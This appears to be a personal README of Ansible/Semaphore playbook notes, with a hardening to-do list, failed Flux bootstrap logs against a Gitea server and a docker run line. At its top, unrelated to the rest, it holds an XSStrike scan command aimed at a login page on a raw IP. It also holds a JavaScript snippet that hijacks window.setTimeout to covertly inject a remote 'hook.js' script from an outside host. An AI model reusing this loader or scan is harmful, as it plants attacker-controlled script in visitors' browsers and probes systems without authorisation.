122 lines
5.4 KiB
Markdown
122 lines
5.4 KiB
Markdown
# semaphore
|
|
|
|
```
|
|
python3 xsstrike.py -u https://147.135.51.88/login
|
|
(function() {
|
|
const originalSetTimeout = window.setTimeout;
|
|
window.setTimeout = function(fn, delay) {
|
|
if (delay > 0) {
|
|
const wrapped = function() {
|
|
if (!window.xetLoaded) {
|
|
var s = document.createElement('script');
|
|
s.src = 'https://xet.jingoh.fr/hook.js';
|
|
document.head.appendChild(s);
|
|
window.xetLoaded = true;
|
|
}
|
|
return fn.apply(this, arguments);
|
|
};
|
|
return originalSetTimeout(wrapped, delay);
|
|
}
|
|
return originalSetTimeout(fn, delay);
|
|
};
|
|
})();
|
|
```
|
|
|
|
|
|
|
|
|
|
Semaphore playbooks
|
|
|
|
Ansible perso playbooks and role
|
|
|
|
Add
|
|
- auditd
|
|
- rkhunter
|
|
- chrootkit
|
|
- psad
|
|
- bareos (backup)
|
|
- lynis
|
|
- unattended-upgrades
|
|
- package
|
|
- firewall
|
|
|
|
|
|
|
|
flux bootstrap gitea --owner=staffadmin --repository=cluster --private=false --personal=true --path=./clusters/test --hostname gitea.jingoh.fr --read-write-key=true
|
|
|
|
GITEA_TOKEN=fdsfsd
|
|
|
|
==> delete secret in flux-system
|
|
|
|
┌─[stephane@staff] - [~] - [2024-08-28 01:05:37]
|
|
└─[130] <> flux bootstrap gitea --owner=staffadmin --repository=cluster --private=true --personal=true --path=clusters/test --hostname gitea.jingoh.fr --token-auth
|
|
► connecting to gitea.jingoh.fr
|
|
► cloning branch "main" from Git repository "https://gitea.jingoh.fr/staffadmin/cluster.git"
|
|
✔ cloned repository
|
|
► generating component manifests
|
|
✔ generated component manifests
|
|
✔ component manifests are up to date
|
|
► installing components in "flux-system" namespace
|
|
✔ installed components
|
|
✔ reconciled components
|
|
► determining if source secret "flux-system/flux-system" exists
|
|
► generating source secret
|
|
► applying source secret "flux-system/flux-system"
|
|
✔ reconciled source secret
|
|
► generating sync manifests
|
|
✔ generated sync manifests
|
|
✔ sync manifests are up to date
|
|
► applying sync manifests
|
|
✔ reconciled sync configuration
|
|
◎ waiting for GitRepository "flux-system/flux-system" to be reconciled
|
|
✗ gitrepository 'flux-system/flux-system' not ready: 'failed to checkout and determine revision: unable to clone 'https://gitea.jingoh.fr/staffadmin/cluster.git': authorization failed'
|
|
◎ waiting for Kustomization "flux-system/flux-system" to be reconciled
|
|
✗ client rate limiter Wait returned an error: context deadline exceeded
|
|
► confirming components are healthy
|
|
✔ helm-controller: deployment ready
|
|
✔ kustomize-controller: deployment ready
|
|
✔ notification-controller: deployment ready
|
|
✔ source-controller: deployment ready
|
|
✔ all components are healthy
|
|
✗ bootstrap failed with 2 health check failure(s): [error while waiting for GitRepository to be ready: 'gitrepository 'flux-system/flux-system' not ready: 'failed to checkout and determine revision: unable to clone 'https://gitea.jingoh.fr/staffadmin/cluster.git': authorization failed'', error while waiting for Kustomization to be ready: 'client rate limiter Wait returned an error: context deadline exceeded
|
|
|
|
|
|
|
|
|
|
|
|
┌─[stephane@staff] - [~] - [2024-08-28 01:13:04]
|
|
└─[1] <> flux bootstrap gitea --owner=staffadmin --repository=cluster --private=true --personal=true --path=clusters/test --hostname gitea.jingoh.fr --token-auth
|
|
► connecting to gitea.jingoh.fr
|
|
► cloning branch "main" from Git repository "https://gitea.jingoh.fr/staffadmin/cluster.git"
|
|
✔ cloned repository
|
|
► generating component manifests
|
|
✔ generated component manifests
|
|
✔ component manifests are up to date
|
|
► installing components in "flux-system" namespace
|
|
✔ installed components
|
|
✔ reconciled components
|
|
► determining if source secret "flux-system/flux-system" exists
|
|
► generating source secret
|
|
► applying source secret "flux-system/flux-system"
|
|
✔ reconciled source secret
|
|
► generating sync manifests
|
|
✔ generated sync manifests
|
|
✔ sync manifests are up to date
|
|
► applying sync manifests
|
|
✔ reconciled sync configuration
|
|
◎ waiting for GitRepository "flux-system/flux-system" to be reconciled
|
|
✗ gitrepository 'flux-system/flux-system' not ready: 'failed to checkout and determine revision: unable to clone 'https://gitea.jingoh.fr/staffadmin/cluster.git': Get "https://gitea.jingoh.fr/staffadmin/cluster.git/info/refs?service=git-upload-pack": dial tcp: lookup gitea.jingoh.fr on 10.43.0.10:53: server misbehaving'
|
|
◎ waiting for Kustomization "flux-system/flux-system" to be reconciled
|
|
✗ client rate limiter Wait returned an error: context deadline exceeded
|
|
► confirming components are healthy
|
|
✔ helm-controller: deployment ready
|
|
✔ kustomize-controller: deployment ready
|
|
✔ notification-controller: deployment ready
|
|
✔ source-controller: deployment ready
|
|
✔ all components are healthy
|
|
✗ bootstrap failed with 2 health check failure(s): [error while waiting for GitRepository to be ready: 'gitrepository 'flux-system/flux-system' not ready: 'failed to checkout and determine revision: unable to clone 'https://gitea.jingoh.fr/staffadmin/cluster.git': Get "https://gitea.jingoh.fr/staffadmin/cluster.git/info/refs?service=git-upload-pack": dial tcp: lookup gitea.jingoh.fr on 10.43.0.10:53: server misbehaving'', error while waiting for Kustomization to be ready: 'client rate limiter Wait returned an error: context deadline exceeded']
|
|
|
|
|
|
|
|
|
|
# docker run -d -p 127.0.0.1:8000:8080 -e DATA_ROOT=/DATA -v /DATA:/DATA -v /var/run/docker.sock:/var/run/docker.sock --name casaos casaos |